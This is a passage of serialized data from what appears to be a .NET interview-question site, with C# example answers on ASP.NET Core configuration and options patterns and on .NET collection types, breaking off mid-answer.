\"MyApp\", \"MaxItems\": 100, \"Tags\": [\"api\",\"web\"] }\n\u002F\u002F }\n\n\u002F\u002F GetValue\u003CT> — read a single value with optional default:\nstring name     = config.GetValue\u003Cstring>(\"App:Name\") ?? \"Default\";\nint maxItems    = config.GetValue\u003Cint>(\"App:MaxItems\", defaultValue: 50);\n\n\u002F\u002F GetSection — get a sub-section (does NOT throw if missing):\nIConfigurationSection appSection = config.GetSection(\"App\");\nstring? sectionName = appSection[\"Name\"]; \u002F\u002F \"MyApp\"\n\n\u002F\u002F Bind — populate an existing object from config:\nvar opts = new AppOptions();\nconfig.GetSection(\"App\").Bind(opts);\n\u002F\u002F opts.Name == \"MyApp\", opts.MaxItems == 100\n\n\u002F\u002F Get\u003CT> — returns a new instance of T bound from the section:\nAppOptions opts2 = config.GetSection(\"App\").Get\u003CAppOptions>()!;\n\n\u002F\u002F Bind arrays:\nstring[] tags = config.GetSection(\"App:Tags\").Get\u003Cstring[]>()!;\n\u002F\u002F tags == [\"api\", \"web\"]\n\npublic class AppOptions\n{\n    public string Name { get; set; } = default!;\n    public int MaxItems { get; set; }\n    public List\u003Cstring> Tags { get; set; } = new();\n}\n```\n\n`GetSection(\"missing\")` returns an empty `IConfigurationSection` (not null) —\ncheck `section.Exists()` before using it:\n\n```csharp\nvar section = config.GetSection(\"FeatureFlags\");\nif (section.Exists())\n    section.Bind(featureFlags);\n```\n\n**Rule of thumb:** Prefer the Options pattern (`IOptions\u003CT>`) over directly calling\n`IConfiguration` in application services — it gives you DI, validation, and reload\nsupport. Use `IConfiguration` directly only in startup code or simple console apps.\n",{"id":1921,"difficulty":96,"q":1922,"a":1923},"configuration-reload","Does ASP.NET Core automatically reload configuration when `appsettings.json` changes?","Yes — by default, `AddJsonFile` is registered with `reloadOnChange: true`, so\n`appsettings.json` and `appsettings.{Env}.json` are re-read when the file changes\non disk (via `FileSystemWatcher`). `IConfiguration` and `IOptionsMonitor\u003CT>` reflect\nthe new values immediately; `IOptionsSnapshot\u003CT>` reflects them on the next request;\n`IOptions\u003CT>` **never** reloads.\n\n```csharp\n\u002F\u002F Reload is on by default — this is what WebApplication.CreateBuilder does:\nconfig.AddJsonFile(\"appsettings.json\", optional: false, reloadOnChange: true);\nconfig.AddJsonFile($\"appsettings.{env}.json\", optional: true, reloadOnChange: true);\n\n\u002F\u002F IOptionsMonitor: subscribes to live changes\npublic class FeatureFlagService\n{\n    private readonly IOptionsMonitor\u003CFeatureOptions> _monitor;\n    public FeatureFlagService(IOptionsMonitor\u003CFeatureOptions> monitor)\n        => _monitor = monitor;\n\n    public bool IsEnabled(string flag)\n        => _monitor.CurrentValue.EnabledFlags.Contains(flag); \u002F\u002F always fresh\n}\n\n\u002F\u002F IOptionsSnapshot: fresh per-request (scoped services)\npublic class RequestHandler\n{\n    private readonly FeatureOptions _opts;\n    public RequestHandler(IOptionsSnapshot\u003CFeatureOptions> opts)\n        => _opts = opts.Value; \u002F\u002F bound once per request scope\n}\n\n\u002F\u002F IOptions: frozen at startup (no reload)\npublic class CachedService\n{\n    private readonly FeatureOptions _opts;\n    public CachedService(IOptions\u003CFeatureOptions> opts)\n        => _opts = opts.Value; \u002F\u002F static — never changes\n}\n```\n\n**Rule of thumb:** Use `IOptionsMonitor\u003CT>` in singletons or background workers\nthat need live config without a restart. In production, use reload carefully for\ncritical values — an invalid config file mid-flight can crash the app or produce\nunexpected behavior.\n",{"id":1461,"difficulty":206,"q":1925,"a":1926},"What are named options and when do you use them?","**Named options** allow multiple instances of the same options class, each configured\ndifferently. They are useful when you have multiple instances of a service with\ndifferent configuration (e.g., two SMTP servers, multiple HTTP clients).\n\n```csharp\n\u002F\u002F Two SMTP configurations in appsettings.json:\n\u002F\u002F {\n\u002F\u002F \"Smtp\": {\n\u002F\u002F \"Transactional\": { \"Host\": \"smtp1.example.com\", \"Port\": 587 },\n\u002F\u002F \"Marketing\":     { \"Host\": \"smtp2.example.com\", \"Port\": 465 }\n\u002F\u002F }\n\u002F\u002F }\n\n\u002F\u002F Register named options:\nbuilder.Services.Configure\u003CSmtpOptions>(\"Transactional\",\n    builder.Configuration.GetSection(\"Smtp:Transactional\"));\nbuilder.Services.Configure\u003CSmtpOptions>(\"Marketing\",\n    builder.Configuration.GetSection(\"Smtp:Marketing\"));\n\n\u002F\u002F Inject and resolve by name:\npublic class EmailDispatcher\n{\n    private readonly SmtpOptions _transactional;\n    private readonly SmtpOptions _marketing;\n\n    public EmailDispatcher(IOptionsMonitor\u003CSmtpOptions> monitor)\n    {\n        _transactional = monitor.Get(\"Transactional\");\n        _marketing     = monitor.Get(\"Marketing\");\n    }\n\n    public void SendTransactional(string to, string body)\n        => Send(_transactional, to, body);\n\n    public void SendMarketing(string to, string body)\n        => Send(_marketing, to, body);\n}\n```\n\n`IHttpClientFactory` uses named options internally:\n\n```csharp\nbuilder.Services.AddHttpClient(\"github\", client =>\n{\n    client.BaseAddress = new Uri(\"https:\u002F\u002Fapi.github.com\u002F\");\n    client.DefaultRequestHeaders.Add(\"User-Agent\", \"MyApp\");\n});\n\n\u002F\u002F Inject named client:\nvar client = httpClientFactory.CreateClient(\"github\");\n```\n\n**Rule of thumb:** Use named options when you need multiple configurations for the\nsame options type — commonly for HTTP clients, SMTP servers, external service\nendpoints, or feature flag namespaces.\n",{"id":1928,"difficulty":206,"q":1929,"a":1930},"post-configure","What is `PostConfigure` and how does it differ from `Configure`?","**`Configure\u003CT>`** sets up options values. **`PostConfigure\u003CT>`** runs *after all\n`Configure` registrations* for the same type — it is the last step and can override\nor validate values set by earlier `Configure` calls or by third-party libraries.\n\n```csharp\n\u002F\u002F Scenario: override a value set by an external library's Configure call\n\n\u002F\u002F External library registers its defaults:\nbuilder.Services.Configure\u003CCacheOptions>(opts =>\n{\n    opts.MaxSize = 100;\n    opts.Expiry  = TimeSpan.FromMinutes(10);\n});\n\n\u002F\u002F Your code runs AFTER — PostConfigure:\nbuilder.Services.PostConfigure\u003CCacheOptions>(opts =>\n{\n    \u002F\u002F Runs after ALL Configure calls for CacheOptions\n    if (opts.MaxSize > 500)\n        opts.MaxSize = 500; \u002F\u002F enforce a cap regardless of what lib set\n});\n\n\u002F\u002F PostConfigureAll — applies to ALL named instances:\nbuilder.Services.PostConfigureAll\u003CSmtpOptions>(opts =>\n    opts.UseSsl = true); \u002F\u002F enforce SSL on every named SMTP config\n```\n\nExecution order for options pipeline:\n1. All `Configure\u003CT>` calls (in registration order)\n2. All `PostConfigure\u003CT>` calls (in registration order)\n3. `IValidateOptions\u003CT>` validators\n\n```csharp\n\u002F\u002F Confirm ordering with a simple example:\nbuilder.Services.Configure\u003CMyOpts>(o => o.Value = \"first\");\nbuilder.Services.Configure\u003CMyOpts>(o => o.Value = \"second\");\nbuilder.Services.PostConfigure\u003CMyOpts>(o => o.Value = \"post\"); \u002F\u002F wins\n\u002F\u002F Result: opts.Value == \"post\"\n```\n\n**Rule of thumb:** Use `PostConfigure` when you need to enforce global constraints\non options that third-party libraries configure, or when you need a guaranteed\n\"last word\" on a value regardless of other configuration sources.\n",{"id":1932,"difficulty":96,"q":1933,"a":1934},"config-in-non-web","How do you use the ASP.NET Core configuration system in a console app or background service?","The configuration system is part of `Microsoft.Extensions.Configuration` and works\nin any .NET app — not just ASP.NET Core. Use `Host.CreateDefaultBuilder` or the\nnewer `Host.CreateApplicationBuilder` to get the same provider stack.\n\n```csharp\n\u002F\u002F Worker service \u002F console app:\nusing Microsoft.Extensions.Hosting;\nusing Microsoft.Extensions.Configuration;\nusing Microsoft.Extensions.DependencyInjection;\n\nvar host = Host.CreateDefaultBuilder(args)\n    .ConfigureAppConfiguration((ctx, config) =>\n    {\n        \u002F\u002F Same providers as WebApplication.CreateBuilder:\n        config.AddJsonFile(\"appsettings.json\", optional: false, reloadOnChange: true);\n        config.AddJsonFile($\"appsettings.{ctx.HostingEnvironment.EnvironmentName}.json\",\n            optional: true);\n        config.AddEnvironmentVariables();\n        if (ctx.HostingEnvironment.IsDevelopment())\n            config.AddUserSecrets\u003CProgram>();\n    })\n    .ConfigureServices((ctx, services) =>\n    {\n        services.Configure\u003CWorkerOptions>(ctx.Configuration.GetSection(\"Worker\"));\n        services.AddHostedService\u003CMyWorker>();\n    })\n    .Build();\n\nawait host.RunAsync();\n\n\u002F\u002F Background service receives options via DI:\npublic class MyWorker : BackgroundService\n{\n    private readonly WorkerOptions _opts;\n    public MyWorker(IOptions\u003CWorkerOptions> opts) => _opts = opts.Value;\n\n    protected override async Task ExecuteAsync(CancellationToken ct)\n    {\n        while (!ct.IsCancellationRequested)\n        {\n            DoWork(_opts.IntervalSeconds);\n            await Task.Delay(TimeSpan.FromSeconds(_opts.IntervalSeconds), ct);\n        }\n    }\n}\n```\n\n**Rule of thumb:** Use `Host.CreateDefaultBuilder` or `Host.CreateApplicationBuilder`\nin console apps and background services to get the same configuration, logging, and\nDI infrastructure as ASP.NET Core — avoid reinventing it with manual provider setup.\n",{"id":1936,"difficulty":206,"q":1937,"a":1938},"iconfigure-options","What is `IConfigureOptions\u003CT>` and how does it differ from `services.Configure\u003CT>`?","**`IConfigureOptions\u003CT>`** is an interface that lets you encapsulate options\nconfiguration logic in a dedicated class, which is itself resolved from DI.\nThis is useful when the configuration logic requires services (e.g., reading from\na database or calling an API) that are not available during the `Configure` delegate.\n\n```csharp\n\u002F\u002F Plain Configure\u003CT> — closure-based, no DI services available:\nbuilder.Services.Configure\u003CJwtOptions>(opts =>\n{\n    opts.Secret = builder.Configuration[\"Jwt:Secret\"]!;\n    \u002F\u002F Cannot inject ISomeService here — DI is not yet built\n});\n\n\u002F\u002F IConfigureOptions\u003CT> — runs after DI is built; can inject services:\npublic class JwtOptionsConfigurator : IConfigureOptions\u003CJwtOptions>\n{\n    private readonly IConfiguration _config;\n    private readonly ISecretVaultService _vault;\n\n    \u002F\u002F Dependencies resolved from the built DI container:\n    public JwtOptionsConfigurator(IConfiguration config, ISecretVaultService vault)\n    {\n        _config = config;\n        _vault  = vault;\n    }\n\n    public void Configure(JwtOptions options)\n    {\n        options.Issuer   = _config[\"Jwt:Issuer\"]!;\n        options.Audience = _config[\"Jwt:Audience\"]!;\n        \u002F\u002F Fetch secret from vault — possible because this runs post-DI-build:\n        options.Secret   = _vault.GetSecret(\"jwt-signing-key\");\n    }\n}\n\n\u002F\u002F Register the configurator as a DI service:\nbuilder.Services.AddSingleton\u003CIConfigureOptions\u003CJwtOptions>, JwtOptionsConfigurator>();\n\n\u002F\u002F IPostConfigureOptions\u003CT> — same pattern but runs after all Configure calls:\npublic class JwtPostConfigurator : IPostConfigureOptions\u003CJwtOptions>\n{\n    public void PostConfigure(string? name, JwtOptions options)\n    {\n        if (string.IsNullOrEmpty(options.Secret))\n            throw new InvalidOperationException(\"JWT secret must be configured\");\n    }\n}\nbuilder.Services.AddSingleton\u003CIPostConfigureOptions\u003CJwtOptions>, JwtPostConfigurator>();\n```\n\n**Rule of thumb:** Use `services.Configure\u003CT>` for simple config binding from\n`IConfiguration`. Use `IConfigureOptions\u003CT>` when configuration requires injected\nservices (vault clients, DB lookups, computed values) — it runs after the container\nis fully built and gives you access to the complete DI graph.\n",{"id":1940,"difficulty":206,"q":1941,"a":1942},"azure-key-vault-config","How do you integrate Azure Key Vault as a configuration provider in ASP.NET Core?","Azure Key Vault is added as a configuration provider using\n`Azure.Extensions.AspNetCore.Configuration.Secrets`. Secrets are loaded alongside\n`appsettings.json` and accessible through the standard `IConfiguration` interface.\n\n```csharp\n\u002F\u002F Package: Azure.Extensions.AspNetCore.Configuration.Secrets\n\u002F\u002F          Azure.Identity\n\nusing Azure.Identity;\n\nvar builder = WebApplication.CreateBuilder(args);\n\n\u002F\u002F Add Key Vault as a configuration source (production pattern):\nif (!builder.Environment.IsDevelopment())\n{\n    var keyVaultUri = new Uri(builder.Configuration[\"KeyVault:Uri\"]!);\n\n    \u002F\u002F DefaultAzureCredential: tries Managed Identity, then az login, etc.\n    builder.Configuration.AddAzureKeyVault(\n        keyVaultUri,\n        new DefaultAzureCredential());\n}\n\n\u002F\u002F Secrets are available via IConfiguration using -- as the key separator:\n\u002F\u002F Key Vault secret \"ConnectionStrings--DefaultConnection\"\n\u002F\u002F   → accessible as Configuration[\"ConnectionStrings:DefaultConnection\"]\n\n\u002F\u002F Access via Options pattern (preferred):\nbuilder.Services.Configure\u003CDbOptions>(builder.Configuration.GetSection(\"ConnectionStrings\"));\n\n\u002F\u002F Key Vault secret naming conventions:\n\u002F\u002F \"Mail--Host\"     → Mail:Host\n\u002F\u002F \"Jwt--Secret\"    → Jwt:Secret\n\u002F\u002F Named version:   \"Mail--Smtp1--Host\" → Mail:Smtp1:Host\n\n\u002F\u002F Prefix filtering — only load secrets starting with \"MyApp-\":\nbuilder.Configuration.AddAzureKeyVault(\n    keyVaultUri,\n    new DefaultAzureCredential(),\n    new AzureKeyVaultConfigurationOptions\n    {\n        Manager = new KeyVaultSecretManager() \u002F\u002F custom: override to filter\u002Frename keys\n    });\n```\n\nKey Vault secrets are fetched once at startup (no reload by default). Enable polling:\n\n```csharp\nnew AzureKeyVaultConfigurationOptions\n{\n    ReloadInterval = TimeSpan.FromMinutes(30) \u002F\u002F re-fetch secrets every 30 min\n}\n```\n\n**Rule of thumb:** In production, replace User Secrets and env-var secrets with\nAzure Key Vault. Use `DefaultAzureCredential` so the same code works with Managed\nIdentity in Azure and with `az login` locally. Never store Key Vault URIs or\ncredentials in `appsettings.json`.\n",{"id":1944,"difficulty":96,"q":1945,"a":1946},"config-in-tests","How do you override configuration values in integration tests?","When using `WebApplicationFactory\u003CT>` for integration tests, you can override\nconfiguration via `ConfigureAppConfiguration` in a custom factory, or by setting\nenvironment variables before the test host starts.\n\n```csharp\nusing Microsoft.AspNetCore.Mvc.Testing;\nusing Microsoft.Extensions.Configuration;\n\n\u002F\u002F Custom factory that overrides configuration for tests:\npublic class TestWebApplicationFactory : WebApplicationFactory\u003CProgram>\n{\n    protected override void ConfigureWebHost(IWebHostBuilder builder)\n    {\n        builder.ConfigureAppConfiguration((ctx, config) =>\n        {\n            \u002F\u002F Add in-memory config — overrides appsettings.json (added later = wins):\n            config.AddInMemoryCollection(new Dictionary\u003Cstring, string?>\n            {\n                [\"ConnectionStrings:DefaultConnection\"] = \"DataSource=:memory:\",\n                [\"Mail:Host\"]     = \"localhost\",\n                [\"Mail:Port\"]     = \"1025\",\n                [\"FeatureFlags:NewCheckout\"] = \"true\",\n                [\"Jwt:Secret\"]    = \"test-only-signing-key-minimum-32-chars!!\"\n            });\n        });\n\n        \u002F\u002F Also swap out services for test doubles:\n        builder.ConfigureServices(services =>\n        {\n            \u002F\u002F Replace real DB with in-memory:\n            services.RemoveAll\u003CDbContextOptions\u003CAppDb>>();\n            services.AddDbContext\u003CAppDb>(o => o.UseInMemoryDatabase(\"TestDb\"));\n        });\n    }\n}\n\n\u002F\u002F Test class:\npublic class OrdersApiTests : IClassFixture\u003CTestWebApplicationFactory>\n{\n    private readonly HttpClient _client;\n\n    public OrdersApiTests(TestWebApplicationFactory factory)\n        => _client = factory.CreateClient();\n\n    [Fact]\n    public async Task GetOrders_ReturnsOk()\n    {\n        var response = await _client.GetAsync(\"\u002Fapi\u002Forders\");\n        response.EnsureSuccessStatusCode();\n    }\n}\n```\n\n**Rule of thumb:** Use `AddInMemoryCollection` inside `ConfigureAppConfiguration`\nto inject test-specific values — it is the last provider added and therefore wins.\nKeep test config minimal: only override values that differ from defaults or would\ncause the test to contact real external services.\n",{"id":1948,"difficulty":206,"q":1949,"a":1950},"change-token","What is `IChangeToken` and how does it relate to configuration reload notifications?","**`IChangeToken`** is the low-level primitive that the configuration system uses to\nsignal when a source has changed. `IConfiguration.GetReloadToken()` returns a change\ntoken that fires once when any provider triggers a reload. You can use it to react\nto config changes in code that does not have access to `IOptionsMonitor\u003CT>`.\n\n```csharp\n\u002F\u002F Low-level change-token subscription:\nvoid WatchForChanges(IConfiguration config)\n{\n    \u002F\u002F GetReloadToken returns a one-shot token — must re-register after each fire:\n    ChangeToken.OnChange(\n        changeTokenProducer: () => config.GetReloadToken(),\n        changeTokenConsumer: () =>\n        {\n            Console.WriteLine(\"Configuration reloaded at \" + DateTime.UtcNow);\n            \u002F\u002F Re-read any cached config values here\n        });\n}\n\n\u002F\u002F IOptionsMonitor\u003CT> uses the same mechanism internally — prefer it for options:\npublic class FeatureFlagCache\n{\n    private HashSet\u003Cstring> _enabledFlags;\n\n    public FeatureFlagCache(IOptionsMonitor\u003CFeatureOptions> monitor)\n    {\n        _enabledFlags = BuildCache(monitor.CurrentValue);\n\n        \u002F\u002F OnChange callback fires whenever config changes on disk:\n        monitor.OnChange(opts =>\n        {\n            _enabledFlags = BuildCache(opts); \u002F\u002F rebuild the local cache\n            Console.WriteLine(\"Feature flags reloaded\");\n        });\n    }\n\n    private static HashSet\u003Cstring> BuildCache(FeatureOptions opts)\n        => opts.EnabledFlags.ToHashSet(StringComparer.OrdinalIgnoreCase);\n\n    public bool IsEnabled(string flag) => _enabledFlags.Contains(flag);\n}\n\n\u002F\u002F Custom IChangeToken implementation (e.g., for a DB-backed config provider):\npublic class DbChangeToken : IChangeToken\n{\n    private readonly CancellationToken _token;\n    public DbChangeToken(CancellationToken token) => _token = token;\n\n    public bool HasChanged => _token.IsCancellationRequested;\n    public bool ActiveChangeCallbacks => true;\n\n    public IDisposable RegisterChangeCallback(Action\u003Cobject?> callback, object? state)\n        => _token.Register(callback, state);\n}\n```\n\n**Rule of thumb:** Use `IOptionsMonitor\u003CT>.OnChange` for most config-reload\nscenarios — it is the safe, high-level API. Drop down to `IChangeToken` directly\nonly when building a custom configuration provider or when you need to watch for\nchanges outside the Options pattern.\n",{"description":94},"ASP.NET Core configuration interview questions — IConfiguration, IOptions, IOptionsMonitor, environment variables, user secrets, and startup validation.","dotnet\u002Faspnet-core\u002Fconfiguration","U6tyViKfpJg8lm-Lcl1ez7oNVWLpnBW8qjECMvBsdss",{"id":1956,"title":1957,"body":1958,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":1962,"navigation":99,"order":47,"path":1963,"questions":1964,"questionsCount":163,"related":164,"seo":2025,"seoDescription":2026,"stem":2027,"subtopic":1957,"topic":28,"topicSlug":30,"updated":168,"__hash__":2028},"qa\u002Fdotnet\u002Fcsharp-core\u002Fcollections.md","Collections",{"type":91,"value":1959,"toc":1960},[],{"title":94,"searchDepth":29,"depth":29,"links":1961},[],{},"\u002Fdotnet\u002Fcsharp-core\u002Fcollections",[1965,1969,1973,1977,1981,1985,1989,1993,1997,2001,2005,2009,2013,2017,2021],{"id":1966,"difficulty":104,"q":1967,"a":1968},"collection-overview","What are the main collection types in .NET and how do you choose between them?",".NET's collection library has types optimised for different access patterns. Picking\nthe right one affects both performance and API clarity.\n\n```csharp\n\u002F\u002F List\u003CT> — dynamic array; O(1) index, O(n) insert\u002Fremove in middle\nvar list = new List\u003Cint> { 1, 2, 3 };\nlist.Add(4);           \u002F\u002F O(1) amortised\nlist.Insert(0, 0);     \u002F\u002F O(n) — shifts elements\n\n\u002F\u002F Dictionary\u003CK,V> — hash map; O(1) average lookup, insert, remove\nvar dict = new Dictionary\u003Cstring, int> { [\"a\"] = 1, [\"b\"] = 2 };\ndict[\"c\"] = 3;\ndict.TryGetValue(\"a\", out int val); \u002F\u002F val = 1\n\n\u002F\u002F HashSet\u003CT> — unordered unique values; O(1) add, remove, Contains\nvar set = new HashSet\u003Cstring> { \"alpha\", \"beta\" };\nset.Add(\"alpha\"); \u002F\u002F no-op, already present\n\n\u002F\u002F Queue\u003CT> — FIFO; Enqueue\u002FDequeue both O(1)\nvar queue = new Queue\u003Cint>();\nqueue.Enqueue(1); queue.Enqueue(2);\nint first = queue.Dequeue(); \u002F\u002F 1\n\n\u002F\u002F Stack\u003CT> — LIFO; Push\u002FPop both O(1)\nvar stack = new Stack\u003Cint>();\nstack.Push(1); stack.Push(2);\nint top = stack.Pop(); \u002F\u002F 2\n\n\u002F\u002F LinkedList\u003CT> — O(1) insert\u002Fremove anywhere, O(n) lookup\nvar ll = new LinkedList\u003Cint>(new[] { 1, 2, 3 });\nll.AddFirst(0); \u002F\u002F O(1)\n```\n\n**Rule of thumb:** Start with `List\u003CT>` for ordered mutable sequences. Use\n`Dictionary\u003CK,V>` for key-based lookup. Use `HashSet\u003CT>` for membership tests.\nOnly switch to specialised types (`LinkedList`, `SortedDictionary`) when profiling\nshows a concrete bottleneck.\n",{"id":1970,"difficulty":104,"q":1971,"a":1972},"list-vs-array","What is the difference between `List\u003CT>` and `T[]` (array)?","Arrays are fixed-size and slightly faster for indexed access. `List\u003CT>` wraps an\narray and automatically resizes when needed, at the cost of a small overhead.\n\n```csharp\n\u002F\u002F Array — fixed length set at creation:\nint[] arr = new int[5];\narr[0] = 1; arr[4] = 5;\n\u002F\u002F arr.Add(6); — does not exist; arrays cannot grow\n\n\u002F\u002F List\u003CT> — dynamic; backed by an internal array:\nvar list = new List\u003Cint>(capacity: 5); \u002F\u002F hint initial capacity\nlist.Add(1); list.Add(2); \u002F\u002F grows automatically when needed\n\n\u002F\u002F Span\u003CT> interop — both support span (zero-copy slice):\nReadOnlySpan\u003Cint> span1 = arr;           \u002F\u002F direct, no allocation\nReadOnlySpan\u003Cint> span2 = list.AsSpan(); \u002F\u002F also zero allocation (since .NET 5)\n\n\u002F\u002F Performance:\n\u002F\u002F Array:  fastest indexed access, lowest memory overhead\n\u002F\u002F List\u003CT>: ~same indexed speed; stores Count + Capacity + array ref\n\n\u002F\u002F API difference:\narr.Length;       \u002F\u002F int, fixed\nlist.Count;       \u002F\u002F int, current element count\nlist.Capacity;    \u002F\u002F backing array size (>= Count)\n\n\u002F\u002F Returning from methods:\n\u002F\u002F Return T[] when size is fixed and caller should not modify it\n\u002F\u002F Return List\u003CT> when caller needs to add\u002Fremove\n\u002F\u002F Return IReadOnlyList\u003CT> to expose indexed access but prevent mutation\n```\n\n**Rule of thumb:** Use arrays (`T[]`) when the size is known at creation time and\nperformance is critical. Use `List\u003CT>` when the collection needs to grow. Return\n`IReadOnlyList\u003CT>` or `IReadOnlyCollection\u003CT>` from public APIs to prevent callers\nfrom modifying your internal state.\n",{"id":1974,"difficulty":96,"q":1975,"a":1976},"dictionary-internals","How does `Dictionary\u003CTKey, TValue>` work internally and what makes a good key?","`Dictionary\u003CTKey, TValue>` is a **hash table**. It calls `key.GetHashCode()` to\nfind a bucket, then uses `key.Equals()` to resolve collisions within the bucket.\nAverage time complexity is O(1) for Get, Add, ContainsKey; worst case O(n) with\nmany hash collisions.\n\n```csharp\n\u002F\u002F Good key: string, int, Guid, record types (structural equality)\nvar d1 = new Dictionary\u003Cstring, int> { [\"a\"] = 1 };\nvar d2 = new Dictionary\u003Cint, string> { [1] = \"one\" };\n\n\u002F\u002F BAD key: mutable reference type with default GetHashCode (pointer-based)\nclass MutableKey { public string Name { get; set; } = \"\"; }\nvar bad = new Dictionary\u003CMutableKey, int>();\nvar key = new MutableKey { Name = \"a\" };\nbad[key] = 1;\nkey.Name = \"b\"; \u002F\u002F mutate after insertion — GetHashCode changes!\nbad.ContainsKey(key); \u002F\u002F may return false — key is in the wrong bucket!\n\n\u002F\u002F Custom equality:\nvar ci = new Dictionary\u003Cstring, int>(StringComparer.OrdinalIgnoreCase);\nci[\"Hello\"] = 1;\nConsole.WriteLine(ci[\"hello\"]); \u002F\u002F 1 — case-insensitive\n\n\u002F\u002F Capacity hint avoids rehashing:\nvar d3 = new Dictionary\u003Cstring, int>(capacity: 1000); \u002F\u002F pre-allocate buckets\n\n\u002F\u002F Safe access patterns:\nif (d1.TryGetValue(\"a\", out int val))   \u002F\u002F preferred — single lookup\n    Console.WriteLine(val);\n\u002F\u002F d1[\"missing\"] — throws KeyNotFoundException!\nint val2 = d1.GetValueOrDefault(\"missing\", 0); \u002F\u002F 0 — safe\n```\n\n**Rule of thumb:** Keys must have stable, consistent `GetHashCode` values. Never\nmutate an object while it is used as a dictionary key. For custom key types,\nimplement `GetHashCode` and `Equals` correctly, or prefer record types which do\nthis automatically.\n",{"id":1978,"difficulty":104,"q":1979,"a":1980},"hashset-vs-list","When should you use `HashSet\u003CT>` over `List\u003CT>`?","`HashSet\u003CT>` is ideal when you need **fast membership tests** or need to ensure\nuniqueness. `Contains` is O(1) for `HashSet` vs O(n) for `List`.\n\n```csharp\nvar list = new List\u003Cint> { 1, 2, 3, 4, 5 };\nvar set  = new HashSet\u003Cint> { 1, 2, 3, 4, 5 };\n\n\u002F\u002F Membership test performance:\nlist.Contains(5); \u002F\u002F O(n) — scans every element\nset.Contains(5);  \u002F\u002F O(1) — hash lookup\n\n\u002F\u002F Uniqueness: HashSet silently ignores duplicates\nset.Add(3); \u002F\u002F returns false, set unchanged\nlist.Add(3); \u002F\u002F always adds — now has two 3s\n\n\u002F\u002F Set operations (no equivalent in List\u003CT>):\nvar a = new HashSet\u003Cint> { 1, 2, 3, 4 };\nvar b = new HashSet\u003Cint> { 3, 4, 5, 6 };\na.IntersectWith(b);  \u002F\u002F a = { 3, 4 }\na.UnionWith(b);      \u002F\u002F a = { 3, 4, 5, 6 }\na.ExceptWith(b);     \u002F\u002F a = {} (b is a superset here)\n\n\u002F\u002F Remove duplicates from a list efficiently:\nvar withDupes = new List\u003Cint> { 1, 1, 2, 2, 3 };\nvar unique = new HashSet\u003Cint>(withDupes).ToList(); \u002F\u002F [1, 2, 3]\n\n\u002F\u002F Sorted variant:\nvar sortedSet = new SortedSet\u003Cint> { 5, 1, 3, 2 };\nConsole.WriteLine(string.Join(\", \", sortedSet)); \u002F\u002F 1, 2, 3, 5 — always ordered\n```\n\n**Rule of thumb:** Use `HashSet\u003CT>` for any \"is X in the set?\" question at scale.\nUse `SortedSet\u003CT>` when you additionally need the elements in order. Use `List\u003CT>`\nwhen order and duplicates both matter.\n",{"id":1982,"difficulty":96,"q":1983,"a":1984},"concurrent-dictionary","What is `ConcurrentDictionary\u003CK,V>` and when do you need it?","`ConcurrentDictionary\u003CK,V>` is a thread-safe dictionary. Unlike `Dictionary\u003CK,V>`\n(which is not thread-safe), it allows concurrent reads and writes without external\nlocking for most operations.\n\n```csharp\nvar cache = new ConcurrentDictionary\u003Cstring, int>();\n\n\u002F\u002F AddOrUpdate — atomic: adds if missing, or updates with a function\ncache.AddOrUpdate(\"hits\", 1, (key, old) => old + 1);\ncache.AddOrUpdate(\"hits\", 1, (key, old) => old + 1); \u002F\u002F now 2\n\n\u002F\u002F GetOrAdd — atomic: returns existing value or adds new one\nint val = cache.GetOrAdd(\"pageSize\", 25); \u002F\u002F adds 25 if not present\n\n\u002F\u002F WARNING: GetOrAdd with factory is NOT atomic — factory may run multiple times\n\u002F\u002F Use GetOrAdd(key, value) when value is cheap\u002Fidempotent\n\u002F\u002F Use Lazy\u003CT> factory pattern for expensive initialisation:\nvar lazyCache = new ConcurrentDictionary\u003Cstring, Lazy\u003CExpensiveObject>>();\nvar lazy = lazyCache.GetOrAdd(\"key\", _ => new Lazy\u003CExpensiveObject>(() => new ExpensiveObject()));\nExpensiveObject obj = lazy.Value; \u002F\u002F Lazy ensures only one instance created\n\n\u002F\u002F TryAdd, TryRemove, TryUpdate — safe, return bool:\ncache.TryAdd(\"x\", 42);\ncache.TryRemove(\"x\", out int removed);\ncache.TryUpdate(\"hits\", 99, currentValue: 2); \u002F\u002F only updates if current == 2\n\n\u002F\u002F Avoid: foreach + mutation (enumerator takes a snapshot — safe but stale)\nforeach (var (k, v) in cache)\n    Console.WriteLine($\"{k}={v}\");\n```\n\n**Rule of thumb:** Use `ConcurrentDictionary` for shared caches, counters, or\nlookup tables accessed from multiple threads. Prefer the atomic methods (`AddOrUpdate`,\n`GetOrAdd`) over read-then-write patterns which reintroduce race conditions.\n",{"id":1986,"difficulty":96,"q":1987,"a":1988},"readonly-collections","What is the difference between `IReadOnlyList\u003CT>`, `IReadOnlyCollection\u003CT>`, and `ImmutableList\u003CT>`?","These three represent different levels of immutability guarantee.\n\n```csharp\n\u002F\u002F IReadOnlyCollection\u003CT> — Count + enumeration, no index access\nIReadOnlyCollection\u003Cint> roc = new List\u003Cint> { 1, 2, 3 };\nConsole.WriteLine(roc.Count); \u002F\u002F 3\n\u002F\u002F roc[0] — no indexer\n\n\u002F\u002F IReadOnlyList\u003CT> — adds indexer (IReadOnlyCollection + indexer)\nIReadOnlyList\u003Cint> rol = new List\u003Cint> { 1, 2, 3 };\nConsole.WriteLine(rol[0]); \u002F\u002F 1\n\u002F\u002F rol.Add(4); — no Add\n\n\u002F\u002F BUT: the underlying list is still mutable!\nvar mutable = new List\u003Cint> { 1, 2, 3 };\nIReadOnlyList\u003Cint> view = mutable;\nmutable.Add(4);\nConsole.WriteLine(view.Count); \u002F\u002F 4 — view reflects change!\n\n\u002F\u002F ImmutableList\u003CT> — truly immutable; returns a new list on each \"mutation\"\nvar immutable = ImmutableList.Create(1, 2, 3);\nvar updated   = immutable.Add(4); \u002F\u002F new list; original unchanged\nConsole.WriteLine(immutable.Count); \u002F\u002F 3\nConsole.WriteLine(updated.Count);   \u002F\u002F 4\n\n\u002F\u002F ImmutableList is thread-safe (no locking needed) but slower than List\u003CT>\n\u002F\u002F Use ImmutableArray\u003CT> for value-type semantics + performance:\nImmutableArray\u003Cint> arr = ImmutableArray.Create(1, 2, 3);\nImmutableArray\u003Cint> arr2 = arr.Add(4); \u002F\u002F arr still [1,2,3]\n```\n\n**Rule of thumb:** Return `IReadOnlyList\u003CT>` from public APIs to prevent callers\nfrom adding\u002Fremoving. Use `ImmutableList\u003CT>` (from `System.Collections.Immutable`)\nwhen you need a *truly* immutable, shareable collection — e.g., in functional code,\nstate management, or thread-safe 